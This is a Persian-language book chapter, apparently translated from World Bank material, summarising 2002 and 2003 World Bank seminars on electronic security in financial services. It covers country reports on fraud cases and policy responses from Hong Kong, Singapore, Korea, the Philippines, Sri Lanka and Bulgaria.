گفتگوهای بین‌المللی پیرامون موضوع امنیت

کلیات

مثالهایی که از رخنه‌های امنیتی، راه‌حلها و سیاستهای مبتکرانهٔ مقابله با آنها در پی می‌آیند، برگرفته از دو سمینار هستند که توسط بانک جهانی برگزار شده‌اند – سمینار اول با عنوان "امنیت الکترونیکی: کاهش مخاطره در حوزهٔ خدمات مالی" در ۲۵ سپتامبر ۲۰۰۲، و "ایمنی و جامعیت الکترونیکی" در ۱۰ سپتامبر ۲۰۰۳. فیلمهای ویدئویی هر دو جلسه از طریق اینترنت در دسترس قرار دارد.[۲۲۴] این فصل شامل نکات مهم این سمینارها و توضیحات نمایندگان کشورهای شرکت‌کننده است.

سمینار جهانی سال ۲۰۰۲: کاهش مخاطره در حوزهٔ خدمات مالی[۲۲۵]

جلسه با مقدمه‌ای بر *مخاطرهٔ الکترونیکی*[۲۲۶] آغاز شد و مقالات به تبدیل شدن "شبکه‌های بسته" به "شبکه‌های باز" در خلال ده سال اخیر اشاره داشتند. در شبکه‌های باز، وابستگی به قابلیتهایی مثل SSL که اخیراً الگوریتم آن شکسته شده بود باعث بروز مشکلاتی می‌شد، چراکه این امر می‌توانست آسیب‌پذیریها را تا مدتها ماندگار کند. برای بانکها، نه‌تنها تهدیداتی چندوجهی مثل Code Red وجود دارد، بلکه خطر حلقه‌های جرائم سازمانیافتهٔ نفوذ نیز محتمل است. بسیاری از این حلقه‌های عملیات مجرمانه از کازینوهای اینترنتی بعنوان ابزار پولشویی استفاده می‌کنند. طبق تخمین شرکت Internet Data، حدود ۵۷٪ نفوذها علیه صنایع سرمایه‌گذاری انجام گرفته است. علاوه بر این، به موازات پیچیده‌تر شدن روشهای نفوذ، سطح مهارت نفوذگران کاهش می‌یابد؛ چون تکه‌برنامه‌های خرابکارانه برای download و کاربرد، در دسترس همگان قرار دارد. حتی کسانیکه دانش چندان عمیقی ندارند نیز با این امکانات می‌توانند اقدام به نفوذهای بزرگ کنند.

کلاهبرداریهای الکترونیکی بخصوص در نفوذهایی که از اروپای شرقی علیه ایالات متحده انجام می‌گیرد غالباً یا سرقت هویت و یا اخاذی بوده‌اند. روشهای دیگر نیز عبارتند از *salami slicing*[۲۲۷]، انتقال سرمایه، و دستکاری در سهام. در آسیا، نفوذها متوجه اهداف مشخص بخش اقتصادی و همچنین اهداف حیاتی بخشهای فناوری بوده است.

بحث مقدماتی مخاطرات الکترونیکی به موضوع آسیب‌پذیریهای فناوری بی‌سیم بخصوص استاندارد GSM هم پرداخت. به دو نکتهٔ کلیدی مربوط به مخاطرات فناوری بی‌سیم اشاره شد که عبارت بودند از آسیب‌پذیریهای gateway و حملات "man in the middle". مورد دوم به این دلیل اتفاق می‌افتد که برجهای تلفن همراه نمی‌توانند هویت خود را برای تلفنهای همراه تصدیق کنند.

نکاتی در مورد قوانین و ضوابط

درحالیکه قوانین تجارت الکترونیکی در پنج سال قبل چندان مرسوم نبودند، امروز چهل کشور دارای این قوانین هستند و این رقم نیز درحال افزایش است. قوانین مربوط به معاملات الکترونیکی و حقوق و مسئولیتهای مصرف‌کننده از اهمیت خاصی برخوردارند و بسرعت درحال گسترش می‌باشند. موضوعات کلیدی این بحث عبارتند از:

---

۲۲۴ *فایل ویدئویی خلاصهٔ مذاکرات نشستهای سالهای ۲۰۰۲ و ۲۰۰۳ از پایگاه وب بانک جهانی بترتیب با آدرسهای زیر قابل دسترسی هستند:*
http://www.worldbank.org/wbi/B-Span/sub_e-security.htm
http://www1.worldbank.org/finance

۲۲۵ *این جلسه با حضور اعضای گروه یکپارچه‌سازی بانک جهانی برگزار شد. اعضای حاضر در جلسه عبارت بودند از:* Thomas Glaessner، Tom Kellerman، و Valerie McNevin، *بعلاوهٔ شرکت‌کنندگان در این سمینار جهانی از از کشورهای برزیل، شیلی، مکزیک، اوکراین، اسلوواکی، سنگاپور، کرهٔ جنوبی، فیلیپین، هنگ‌کنگ، سریلانکا، و جمهوری خلق چین*

۲۲۷ *برداشت مقادیر بسیار کم از تعداد زیادی حساب بانکی مختلف بصورت متناوب*

- اعتبار امضاها و معاملات الکترونیکی؛
- حفاظت از اطلاعات شخصی، و اعلام راهبردهای اجرایی استفادهٔ ایمن از اطلاعات؛
- سیستمهای امن پرداخت میان بانکها بخصوص بانکهای الکترونیکی؛
- پولشویی و سطح همکاری بین المللی که برای جلوگیری از آن مورد نیاز است؛ و
- توسعه قوانین جرائم سایبر، که مقولهٔ استفاده از رایانه در فعالیتهای مجرمانه را نیز در بر بگیرد.

اجرای صحیح این موارد نیازمند پذیرش ضوابط توسط عموم، دست کشیدن از تکروی و یکه‌تازی، و بالا بودن دانش قانونگذاران است. درحالیکه از قبل میان صنایع متفاوت در سطوح مختلف همکاری وجود داشته، امنیت پرداختهای الکترونیکی از مواردی است که کاملاً به تداخل بخشهای مخابرات و بانکداری انجامیده است. صنعت بانکی شاخصهای امنیت و صحت را تحت عنوان "دسترسی بدون تبعیض به سیستمهای اقتصادی سالم و امن" تعریف کرد، و از طرف دیگر آرمان صنعت مخابرات "دسترسی همگانی بر اساس علاقه و رفاه عمومی" بود. اینگونه تعاریف متفاوت از "خدمات امن"، سازمانها را برای ایمن‌کردن شبکه‌ها و درنظر گرفتن نیازهای اقتصادی بصورت همزمان، دچار مشکل می‌کند.

نظارت و پیشگیری

با وجود مشکلات فراوان پرداختن به نیازمندیهای دوگانهٔ امنیت و صحت، امنیت الکترونیکی یک نیاز حیاتی برای بیشتر سازمانها است و باید برای کاهش مخاطرات عملی، قانونی و حیثیتی در محیط فناوری اطلاعات، تلاش و هماهنگی زیادی صورت پذیرد. طرحهایی که برای افزایش امنیت سیستمها داده می‌شوند باید موارد زیر را در بر بگیرند:

- آموزش، آگاهی و یادگیری مهارت. تحقیق بانک جهانی نشان می‌دهد که حدود ۵۰٪ نفوذهای امنیتی ناشی از تهدیدهای داخلی هستند. اگر اجرای نادرست یا ناتوانی از پیاده‌سازی ملاحظات امنیتیِ رایانه را نیز به این آمار بیافزاییم، این درصد باز هم افزایش خواهد یافت.
- ممیزی و آزمون فرآیندها. برای تسریع رفع و رجوع کارها باید همکاری وسیعی میان همهٔ طرفهای درگیر انجام گیرد. بعنوان مثال بانکهای اتحادیهٔ اروپا دارای سرویس‌دهندهایی در Antigua هستند. اگر این سرویس‌دهنده‌ها از کار بیافتند، بانک هم قادر به ارائه خدمات نخواهد بود، و اگر همکاریهای فرابخشی با مشکل مواجه شود، اقدامات فوریتی در این زمینه به تعویق می‌افتد.
- همکاری دولت و بخش خصوصی. ممکن است مخاطراتی که برای سازمان جنبهٔ حیثیتی دارند منجر به خودداری از گزارش کردن حوادث شوند. درنتیجه برگزاری میزگردهایی برای بحث پیرامون ضوابط قانونی و تهدیدهای موجود ضروری است. بعنوان مثالهایی از همکاری و شراکت عملیاتی بخش خصوصی و دولت می‌توان از مؤسسهٔ InfraGard NIPC نام برد، که محصول یک همکاری میان بخش خصوصیِ صنعت و دولت ایالات متحده بود و توسط FBI نمایندگی می‌شد. شکل دیگر این نوع همکاری با نام *FIRST*[۲۲۸] میان تعدادی از تیمهای امنیت رایانهٔ بخش دولتی، اقتصادی و دانشگاهی تشکیل شده است. اهداف FIRST ایجاد هماهنگی و همکاری برای پیشگیری از مخاطرات، واکنش سریع به حوادث امنیتی و ترویج اشتراک اطلاعات میان کاربران در سطوح وسیع عنوان شده است. از دیگر مثالها در این زمینه می‌توان به *پیمان امنیت اینترنت*[۲۲۹] و مرکز فوریتهای امنیت رایانه‌ای (CERT) اشاره کرد، که محصول یک همکاری مشترک میان مرکز بین‌المللیِ CERT در دانشگاه Carnegie Mellon و تعدادی از شرکتهای بین‌المللی غیردولتی است.
- امنیت چندلایه. مهمترین راهکار امنیت فناوری اطلاعات، شیوهٔ چندلایه است که در آن ایمنی تنها توسط فناوری تأمین نمی‌شود، بلکه افراد و فرآیندها نیز در آن نقش عمده‌ای دارند. اعتماد بیش از حد به فناوریهای ارزشمندی چون رمزگذاری لزوماً سازمان را

228 *Forum of Incident Response and Security Teams*
229 *Internet Security Alliance (www.isalliance.org)*

در مقابل همهٔ تهدیدهای ممکن حفاظت نمی‌کند. دوازده لایهٔ امنیتی برای کنترل یکپارچگی اطلاعات و کاهش مخاطرات محیطهای با معماری باز تعریف شده و در بسیاری از موارد، پیاده‌سازی واقعی هر لایه، نیاز به سرمایه‌گذاری هنگفتی ندارد. این دوازده لایه در فصل یازدهم از همین بخش کتاب توضیح داده شده‌اند.

نقش کشورها

هنگ‌کنگ

نمایندگان ادارهٔ ممیزی مالی هنگ‌کنگ با مروری بر سه مورد کلاهبرداری بحث خود را آغاز کردند:

۱. نفوذگری با استفاده از یک تراوا به سرقت تعدادی رمز عبور و شناسه اقدام کرد و توانست بیش از ۳۵,۰۰۰ دلار آمریکا را بصورت غیرمجاز جابجا کند.

۲. یک مورد کلاهبرداری بدلیل ضعف آگاهی مشتری در مورد امنیت رمز عبور در سیستم پرداخت الکترونیکی در استرالیا روی داد. بدلیل اعمال نشدن محدودیتهای لازم، نفوذگران توانستند وارد سیستم شده و حدود سه میلیون دلار سرقت کنند.

۳. در یک کلاهبرداری اینترنتی نفوذگران توانستند حدود ۵ میلیون سهم (با ارزشی برابر ۲۱،۷ میلیون دلار آمریکا) را فروخته و در قیمت سهام نوسان شدیدی ایجاد کنند.

درسهایی که می‌توان از این رویدادها گرفت عبارتند از:

۱. تغییرات حسابهای اشخاص ثالث را ثبت کنید. این امر به معنی کنترل کلیهٔ دسترسیها و انتقالهای غیرمجاز نیز می‌باشد.

۲. معاملات بانکی الکترونیکی را کنترل کنید، و در مورد معاملات و حسابهای مشکوک با صاحبان حسابها هماهنگی مجدد بعمل آورید (از طریق SMS، یا از طریق پست الکترونیکی).

۳. برای تصدیق اعتبار مشتری از عوامل چندگانه استفاده کنید (بر اساس ابزاری که تنها مشتری آنرا دارد؛ مثل کارت هوشمند). توجه کنید که برای این منظور از هر رمز عبور تنها برای یکبار می‌توان استفاده کرد.

۴. آگاهی مشتری (ضعیفترین حلقهٔ زنجیر امنیتی) را افزایش دهید تا بتوانند از روشها و کانالهای مختلف برای انتقال اطلاعات بصورت امن استفاده کنند. ارتباطات نیز باید امن باشند، که اینکار شامل نصب *دیواره‌های آتش شخصی*[۲۳۰] و به‌روزرسانی سیستمهای مهاجم‌یاب نیز می‌شود.

۵. رویدادها باید مدیریت شده و بسرعت گزارش شوند تا نسبت به واکنش موفقیت‌آمیز تیم امنیت اطمینان حاصل شود.

در هنگ‌کنگ، دولت با بانکها و پلیس برای کنترل رویدادها و خطرات همکاری می‌کند و با اعمال مدیریت اثربخش، پاسخگویی را تضمین، رویدادها را گزارش، خسارتها را کنترل، و اعتماد عمومی را جلب می‌نماید. همچنین به این نکته اشاره می‌کند که با توجه به طیف وسیع مشکلات امنیتی ISPها، تنوع استانداردهای موجود باعث می‌شود نحوهٔ کنترل، ایمن‌سازی، و آگاه‌کردن عموم در مورد ملاحظات امنیتی دشوار گردد.

سنگاپور

بحث کشور سنگاپور حول چهار محور اصلی بود: آمارها و نکاتی در مورد کشور کره، وضعیت اقتصاد الکترونیکی، زیرساخت ملی کلید عمومی، و واکنشهای دولت در حوادث اخیر. بحث با ارائه شواهدی از رشد سریع فناوری در خلال سالهای ۱۹۹۸ تا ۲۰۰۱، از مورد اول شروع شد:

- در سال ۱۹۹۸ درآمدهای تجارت الکترونیکی حدود ۴۰ میلیون دلار بود و در سال ۲۰۰۱ به ۹۱ میلیون دلار رسید.
- در سال ۱۹۹۸ تعداد ۱۴,۰۰۰ خانوار به شبکه‌های با سرعت بالا متصل بودند و این تعداد در سال ۲۰۰۱ به ۷،۸ میلیون معادل ۶۴٪ جمعیت رسید.

230 *Personal Firewalls*

- در سال ۱۹۹۸ تنها ۳ میلیون کاربر اینترنت وجود داشت، که این رقم در سال ۲۰۰۱ به ۲۴ میلیون نفر (نیمی از جمعیت کره) رسید.
- درحال حاضر دستگاههای سیار توسط بیش از ۵۰٪ جمعیت استفاده می‌شوند.

عمومیت بانکداری الکترونیکی در سنگاپور کاملاً اثبات شده است. بانکهای الکترونیکی در این کشور بسیار فراگیر و محبوب هستند. علیرغم جمعیت اندک ۴ میلیونی، تقریباً ۲۵٪ جمعیت از خدمات بانکداری الکترونیکی بهره می‌گیرند. علاوه بر اینها صنعت نیز بسرعت درحال گسترش است. تجارت اینترنتی در سال ۱۹۹۷ شروع شد و اکنون حدود ۵۰٪ کل معاملات را به خود اختصاص داده است. اما در نقطهٔ مقابل، صنعت بیمهٔ این حوزه به این سرعت درحال رشد نیست، اگرچه طبیعت آن اینطور ایجاب می‌کند. خدمات بیمه معمولاً نیاز به بومی‌سازی دارند و کمتر می‌توان برای همه‌جا یک استاندارد ثابت و کارآی بیمه تعیین کرد.

با نگاه به جنبهٔ جنایی این تحولات، آمارها نشاندهندهٔ وقوع تقریباً ۱۰۰ رخداد امنیتی در خلال سالهای ۱۹۹۶ و ۱۹۹۷ هستند. در سال ۲۰۰۰ این آمار به عدد ۵،۰۰۰ رسید و درحال حاضر نیز بصورت تصاعدی درحال افزایش است. اگرچه بانکداری الکترونیکی عمومیت دارد، اما دو رخداد امنیتی اخیر (که ذیلاً به آنها اشاره شده) بار دیگر اهمیت سیاستها و روالهای امنیتی در محیطهای خدمات مالی الکترونیکی را روشن می‌کنند:

۱. در یک رخداد، رایانه‌های مشتریان بزرگترین بانک سنگاپوری آلوده به انواعی از تراواها شد. این تراواها بطور ناخواسته اطلاعات محرمانهٔ کاربران را دریافت و برای آدرسهای از پیش تعیین‌شده ارسال می‌کردند و بدینوسیله سارقین می‌توانستند مقادیر عظیمی پول به سرقت ببرند. این تراوای خاص آنقدر پیشرفته بود که از ضدویروسها و مهاجم‌یابها به سلامت عبور می‌کرد. از این موضوع می‌توان نتیجه گرفت که این ابزارها (ضدویروس و مهاجم‌یاب) نباید تنها مکانیزمهای دفاعی برای یک محیط اقتصادی باشند.

۲. حادثهٔ دیگر در دومین بانک بزرگ سنگاپور روی داد، اما توجه بین‌المللی را به اندازهٔ کافی به خود جلب نکرد. در این مورد، سیستمهای بانکی به این دلیل آسیب دیدند که وصله‌های امنیتی روی آنها اعمال نشده بود. جزئیات این حمله بدلیل مسائل امنیتی فاش نشد. با اینحال این حادثه نیز بار دیگر لزوم همکاری میان سازمانهای مختلف قانونی را به نمایش گذاشت.

دولت سنگاپور بطور فعال به موضوع زیرساخت کلید عمومی (PKI) پرداخته است. "قانون امضای دیجیتال" سنگاپور (مصوب سال ۱۹۹۹) مسئولیت PKI این کشور را به وزارتخانهٔ ارتباطات و اطلاعات سپرده است و برنامهٔ PKI ملی این کشور، *مراکز صدور گواهی*[۲۳۱] معتبر را معین می‌کند.

اما از گواهی نوعی شناخت دوجانبه وجود دارد و *سازمان امنیت اطلاعات کره* (KISA)[۲۳۲] بیشتر با موضوعات تکنیکی مثل نظارت بر صدور گواهی، تصدیق این مراکز، و انجام تحقیقات و توسعه دربارهٔ PKI سیمی و بی‌سیم سر و کار دارد. درحال حاضر در این کشور شش مرکز معتبر صدور گواهی فعالیت می‌کنند. چون گواهی‌ها توسط تمام مراکز صدور گواهی قابل شناسایی هستند، مشتری می‌تواند در معاملات مختلف یک امضای واحد داشته باشد. بدین ترتیب کاربران امضای الکترونیکی تحت حمایت قانون قرار دارند. با اینحال چالشهایی هم وجود دارد. برای مثال، از مراکز معتبر صدور گواهی در صنعت بانکی استفادهٔ گسترده‌ای می‌شود. اما این در مورد سازمانهای واسطه‌ای (دلالها) صادق نیست: از ۳۶ مؤسسهٔ اینچنینی تنها چهار مؤسسه از مراکز معتبر صدور گواهی استفاده می‌کنند. دو دلیل می‌توان برای این امر بر شمرد:

۱. تجارت اینترنتی در سال ۱۹۹۷ – دو سال پیش از تصویب قانون امضای دیجیتال – شروع شد. لذا این کاربران قبل از بوجود آمدن مراکز صدور گواهی، مشکلی برای انجام کار نداشتند.

۲. استفاده از مراکز صدور گواهی می‌تواند باعث تأخیر در انجام معاملات ایمن شود، اما مشتریان نمی‌خواهند در تجارت دچار تأخیر یا گرفتار دردسرهای دیگر شوند.

با اینحال یک حادثهٔ امنیتی در کره بحث امنیت الکترونیکی در فعالیتهای تجاری اینترنتی را دگرگون ساخت. در ماه

231 Certification Authorities
232 Korean Information Security Agency

آگوست سال گذشته چند شرکت واسطه‌ای حسابهای غیرفعال و مسکوتی را یافتند که تنها بعنوان بخشی از کارهای خود حدود ۲۰ میلیون دلار آمریکا سهام از سرمایه‌گذاران خریده بودند. در واکنش به این مسئله، ملاحظات امنیتی افزایش یافت و استفاده از مراکز معتبر صدور گواهی اجبار گسترده‌تری پیدا کرد. در اول دسامبر سال ۲۰۰۲، گواهی‌های خصوصی "فاقد اعتبار" اعلام شدند و از آن پس تنها گواهی‌هایی که از *مراکز تأییدشدهٔ صدور گواهی* (LCAs)[۲۳۳] صادر شده بودند معتبر به حساب می‌آمدند و تا ماه می سال ۲۰۰۳ نیز همهٔ گواهی‌ها باید مورد تأیید مجدد قرار می‌گرفتند. ضروری شد که همهٔ شرکتهای واسطه‌ای از نوامبر ۲۰۰۲ و مؤسسات کوچکتر از ژانویه ۲۰۰۳ به بعد، در تجارت اینترنتی از گواهی‌های مراکز تأییدشدهٔ صدور گواهی استفاده کنند.

سنگاپور بنا داشت در بهار سال ۲۰۰۳ خط‌مشی‌های مدیریت مخاطرات فناوری خود را منتشر کند. فعالیتهای این کشور بر اساس تجربیات مفید صنعت، با کمک نهادهای بین‌المللی، و بر مبنای چکیدهٔ جلسات مختلف میان بانکهای فعال صنعتی و مقامات دولتی هدایت می‌شود. یکی از پرسشهای اصلی سنگاپور که دارای تنها یک نهاد برای تدوین استاندارد می‌باشد این بود که چگونه دولتی به بزرگیِ ایالات متحده و با داشتن مراجع متعدد استانداردسازی، می‌تواند ضوابط خود را بصورت یکپارچه اعمال کند.

فیلیپین

بحث فیلیپین روی نتایج سه نگرش ممکن در زمینهٔ رشد فزایندهٔ تهدیدهای جرائم سایبر متمرکز بود. این سه نگرش عبارت بودند از گسترش ویروسها (مثل ویروس I Love You)، سرقت مداوم کارتهای اعتباری، و نیز حادثهٔ یازدهم سپتامبر. نمایندگان کشور فیلیپین از حادثهٔ یازدهم سپتامبر برای تشریح محاسبات دولت خود برای حفاظت از مؤسسات ملی اقتصادی استفاده کردند.

در فیلیپین، گسترش ویروس "I Love You" بسرعت نهادهای قانونی را به واکنش وادار کرد. این حادثه از آن جهت که ضعفهای دولت و بخش خصوصی را فاش می‌ساخت از اهمیت ویژه‌ای برخوردار بود. این مسئله همچنین ظرفیت قدرت قانونیِ فهم و واکنش مؤثر به حوادث مربوط به فناوری را به منصهٔ ظهور رساند و در نتیجهٔ یک برنامهٔ آموزش امنیت برای کارکنان دولت به اجرا گذاشته شد و دولت برای ورود در این عرصه قوانین تجارت الکترونیکی و *استراتژی سایبر*[۲۳۴] را از دایرهٔ تصویب گذراند.

درحال حاضر کلاهبرداری کارت اعتباری در حوزهٔ خدمات مالی الکترونیکی فیلیپین (مثل هر کشور دیگری) به یک معضلِ اساسی تبدیل شده است. این کشور دارای ۲ تا ۳ میلیون دارندهٔ کارت اعتباری است و حدود ۱۷ بانک، خدمات اعتباری این کارتها را ارائه می‌کنند و در سال چندین میلیون تبادل تجاری الکترونیکی انجام می‌شود. تخمین زده شده که حدود ۴۰۰ میلیون پزو (معادل ۸ میلیون دلار آمریکا) سوء استفادهٔ مالی را می‌توان به کلاهبرداریهای صورت‌گرفته از کارتهای اعتباری نسبت داد. دستگاههای خودپرداز نیز بطور گسترده‌ای مورد استفاده هستند و در سراسر کشور چیزی حدود ۱۰ میلیون مشتری دارند.

سومین موضوع بحث این بود که یازدهم سپتامبر بانکها را مجبور ساخت که برای ارتقای امنیت الکترونیکی به تلاش جهت افزایش همکاری با کشورهای دیگر بپردازند.

همانند سایر نقاط جهان، اقتصاد الکترونیکی فیلیپین هم هنوز در مراحل اولیهٔ توسعه قرار دارد. فیلیپین در این راستا به قسمتهایی از هشت رکن پیشنهادی امنیت الکترونیکی برای کاهش مخاطرات نیز پرداخته است: پیوند چارچوب قانونی با روشهای اعمال ضوابط، برقراری همکاری میان دولت و شرکتهای خصوصی، و نیز بهبود تواناییهای نیروهای انتظامی در حوزهٔ جرائم فضای سایبر. با اینهمه فیلیپین هنوز نیازمند کارشناسان خبرهٔ قانونی، بخصوص برای دادگاههای تخصصی است. از دیگر نیازهای این کشور می‌توان به پایگاههای داده و آموزش کلیهٔ افراد درگیر در حوزهٔ خدمات مالی شامل مشتریان، فروشندگان، و شرکتهای ارائه‌کنندهٔ خدمات اشاره کرد.

فیلیپینی‌ها دو سؤال عمده مطرح کردند: ۱) ایالات متحده چگونه میان گزارش رویدادها و حفظ مسائل محرمانه، توازن برقرار کرده است؟ و ۲) جایگاه پلیس بین‌الملل در قوانین جرائم جزایی چیست؟

233 Licensed Certificate Authorities

234 Cyber-Strategy

سریلانکا

نمایندگان سریلانکا صحبت خود را با ارائه پیش‌زمینه‌ای از اقتصاد الکترونیکی و بحث دربارهٔ محدودیتهای گسترش آگاهی امنیتی کاربران اینترنت آغاز کردند. آنها عقیده داشتند که مسائل مربوط به گسترش ارتباطات به زودی حل خواهند شد و مشکل عدم آگاهی نیز بیشتر در سطح مدیریت وجود دارد و به همین دلیل جلب حمایت در زمینه‌هایی مثل گسترش ارتباطات بسیار دشوار است. نقطه‌ضعف دیگری که می‌توان آنرا در میان مشتریان یافت، عدم آگاهی از نحوهٔ انجام یک معاملهٔ اینترنتی ایمن است. درنتیجه اعتماد میان مشتریان کاهش یافته و کمتر مایل به شرکت در معاملات اینترنتی می‌شوند. ایجاد و ارائه خط‌مشی‌ها و مبانی کاری به ارائه‌دهندگان خدمات می‌تواند به ایجاد اعتماد در مشتریان هم کمک کند.

پرسش سریلانکا متوجه فراهم‌کنندگان خدمات اینترنتی بود. آنها می‌خواستند بدانند که آیا راهبردهای رسمی و مبانی کاری برای ISPها در زمینهٔ امنیت الکترونیکی وجود خواهد داشت یا خیر. آنها همچنین خواستار دریافت اطلاعاتی دربارهٔ سازمان امنیت کره شدند – اینکه آیا خصوصی یا دولتی است، و اینکه چه نقشهایی را تحت پوشش قرار می‌دهد.

بلغارستان

خدمات نوین بانکی بلغارستان در سال ۱۹۸۹ با فرهنگی مشابه ایالات متحده و اروپا راه‌اندازی شد. این خدمات شامل سیستمهای پرداخت و بسته‌های نرم‌افزاری خاص صنعت بانکداری بود (برای مثال می‌توان به BANKNET اشاره کرد). بلغارستان راهکارهای امنیتی را با سؤالات اساسی در زمینهٔ اینکه "چه چیزی باید حفاظت شود" آغاز کرد، و سپس عناصر حیاتی اینکار – مثل شبکه‌های فیزیکی، سیستمهای اطلاعات داخلی، و برنامه‌های کاربردی حفاظت از داده‌ها (علی‌الخصوص داده‌های تبادلی میان بانکها و مشتریان) – را معرفی نمود.

از بعد سازمانی، بلغارستان یک کمیتهٔ داخلی داشت که مسئول تحلیل و ارائه راهکارها بود. تدوین خط‌مشی‌های امنیت الکترونیکی نیازمند نظارت بر شبکه‌های ارتباطی و کاربرد آنها است که شامل نرم‌افزارها و سخت‌افزارهای به‌روز و فهرست فعالیتهای خاص و پیچیده است. بلغارها ایمنی سیستمهای پرداخت را بسیار حیاتی می‌دانند. تغییرات نظارتی و پیشگیرانهٔ این کشور شامل آموزش – یکی از اجزای مهم طرح امنیتی بلغارستان – نیز می‌شود. آنها همچنین اشاره کردند که باید روی مبانی قانونی و اجرایی این مسئله (مشتمل بر قراردادهای فنی میان مشترکان شبکه‌های مختلف) همچنان کار کنند.

در بلغارستان یک چارچوب قانونی برای امضای الکترونیکی وجود دارد که شامل قانون سند الکترونیکی، تنظیم فعالیتهای قانونی مراکز صدور گواهی، و نیازمندیهای پیشرفتهٔ امضای الکترونیکی می‌شود. درحال حاضر بانکها مایل به ایجاد PKI هستند. بانکها می‌خواهند در کاربردهای خاصِ این سیستم، نقش مرکز صدور گواهی را بر عهده بگیرند. بنابراین نیاز به انعطاف‌پذیری درونی و نیز استفاده از فناوریهای سازگار بین بانکی وجود دارد. بلغارستان در زمینهٔ سیاستهای امنیتی نیز یک ملاحظهٔ خاص دارد و آن اینکه علاوه بر تعریف نیازهای تجاری باید قابلیت اطمینان را نیز تعریف کند. پیاده‌سازی و استفادهٔ عمومی از مفهوم امضای الکترونیکی در بسیاری از فعالیتها دشوار است. عوامل کلیدی در سیستمهای پرداخت بلغارستان عبارتند از فروشنده، قابلیت اطمینان، و قیمت. خدمات بانکی در یک منطقهٔ حفاظت‌شده هستند که این حفاظت شامل وجود gateway خاص برای هر برنامهٔ کاربردی و نیز وجود دیوارهٔ آتش است. با استفاده از بستهٔ نرم‌افزاری BANKNET قابلیت دسترسی به بانکها از طریق اینترنت وجود دارد. بسیاری از حملات علیه پایگاههای وب و سرویس‌دهنده‌های پست الکترونیکی به این دلیل انجام می‌شود که امکان دسترسی به آنها از طریق اینترنت میسر است. اما در پشت یک دیوارهٔ آتش، سطح مناسبی از امنیت برای خدمات بانکی و برنامه‌های کاربردی بین بانکی تأمین می‌شود.

در بلغارستان یا هر جای دیگر، بانکهای مرکزی برای سیستمهای پرداخت الکترونیکی چارچوبهای قانونی تصویب می‌کنند. این چارچوبها معمولاً شامل روشهای جدید پرداخت و قوانین حاکم بر سیستمهای ملی پرداخت هستند. از این طریق، مبانی قانونی جدیدی برای سیستمهای ملی پرداخت از جمله سیستمهای پرداخت مرکزی و نیز سیستمهای کارتی بوجود می‌آید. بلغارستان به این نتیجه رسید که پول رایج بدلیل شرایط سخت ترازهای بانکی مشکلساز شده است. آنها

در خصوص نقش نظارت در امنیت الکترونیکی سیستمهای پرداخت پرسش دارند و می‌خواهند بدانند که آیا باید بر سیستمها نظارت سختگیرانه‌تری اعمال کرد یا نه. بعنوان مثال برزیل و آفریقای جنوبی روشهای سخت‌گیرانه‌ای برای نظارت بر سیستمهای پرداخت دارند و معتقد هستند که یک سیستم کارآ و رقابتی طراحی کرده‌اند. در بعضی شرایط، قوانین می‌توانند به یک عامل انحصار برای سیستمهای خرده‌فروشی تبدیل شوند و از فعالیت آنها جلوگیری کنند ، و لذا مستندات ضوابط باید شامل ارزیابیهای دقیقی از نحوهٔ تأثیر فناوریها بر سیستمهای خرده‌فروشی نیز بشوند.

نتیجه‌گیری

همهٔ کشورهای شرکت‌کننده بر ضرورت آموزشهای فرابخشی و گسترده در زمینه امنیت الکترونیکی تأکید داشتند، و نهایتاً گروه یکپارچه‌سازی بانک جهانی مسئولیت ارائه گزارشات الگوهای سرآمدی و برگزاری سمینارها در موضوع کاهش مخاطرات الکترونیکی را بر عهده گرفت.

سمینار جهانی سال ۲۰۰۳: ایمنی و سلامت الکترونیکی[۲۳۵]

این نشست با عنایت به رشد روزافزون مخاطرات، اهمیت توجه به موضوعات امنیت الکترونیکی را در قالب جهانی یادآوری می‌کرد. درصورت بی‌نظمی در روالهای گزارش‌دهی، همهٔ رخدادهای امنیتی می‌توانند خطرسازتر شوند. بیشتر اطلاعات مربوط به امنیت الکترونیکی نادقیق هستند. علاوه بر این، کرمها، ویروسها، و سایر انواع تهدیدات الکترونیکی برای زیرساختهای حیاتی دنیا عوارض جدی بوجود آورده‌اند.

مشکلات امنیت الکترونیکی معمولاً عبارتند از کمبود تیمهای امنیتی تعلیم‌دیده، فقدان فرآیندهای کارآی دولتی برای کنترل صحت، و فناوریهای درحال رشد مثل ارتباطات سیار. ستونهای فناوری اطلاعات بسرعت درحال رشد هستند و به این دلیل که تهدیدهای سایبر و آسیب‌پذیریها هم به همان سرعت درحال گسترش می‌باشند، میلیاردها دلار سرمایه در معرض خطر قرار دارد. هدف گفتگوهای بین‌المللی پرداختن به این نیست که چرا نفوذهای امنیتی رخ می‌دهند، بلکه آن است که برای حل مشکلات چه کاری می‌توان انجام داد.

کاهش مخاطرات امنیت الکترونیکی: ترکیبی از زیربناهای نرم و سخت

یک تعریف ممکن برای امنیت الکترونیکی عبارت است از "هر ابزار، فن، و فرآیندی که داراییهای اطلاعاتیِ یک سیستم را در مقابل تهدیداتی که متوجه محرمانگی، جامعیت یا در دسترس بودن آنها است، محافظت کند". امنیت الکترونیکی از دو زیرساخت تشکیل شده است: زیربنای نرم شامل سیاستها، روالها، فرآیندها و پروتکلها؛ و زیربنای سخت شامل سخت‌افزارها و نرم‌افزارها. افزایش وابستگی به فناوری باعث افزایش احتمال وقوع تهدیدها و احیاناً گسترده‌تر شدن تأثیرات و خسارتهای آنها می‌شود. از طرف دیگر همانطور که پیش از این دیدیم به علت فعالیتهای سازماندهی‌شده و گاه تروریستی، بر سرعت و شدت حملات افزوده می‌شود. همهٔ این موارد دست به دست هم می‌دهند تا کاهش مخاطرات را به یکی از مهمترین قسمتهای یک طرح امنیتی ایده‌آل و اثربخش تبدیل کنند.

گسترش برنامه‌های امنیت الکترونیکی به چند دلیل با چالشهای عظیمی روبرو است:

اول، معمولاً انتظار آن است که فعالیتهای امنیتی بجای کنشی بودن، واکنشی باشند. باید این دیدگاه را تغییر داد تا بتوان بصورت فعالانه و مداوم با تهدیدهای فعلی و آینده به مبارزه پرداخت.

دوم، همکاری در زمینه‌های بین‌المللی از اهمیت ویژه‌ای برخوردار است، بخصوص برای سازمانهای قانونی و ناظران؛ اما می‌دانیم که حتی در یک کشور واحد هم همکاری میان سازمانهای داخلی می‌تواند امری پیچیده باشد.

---

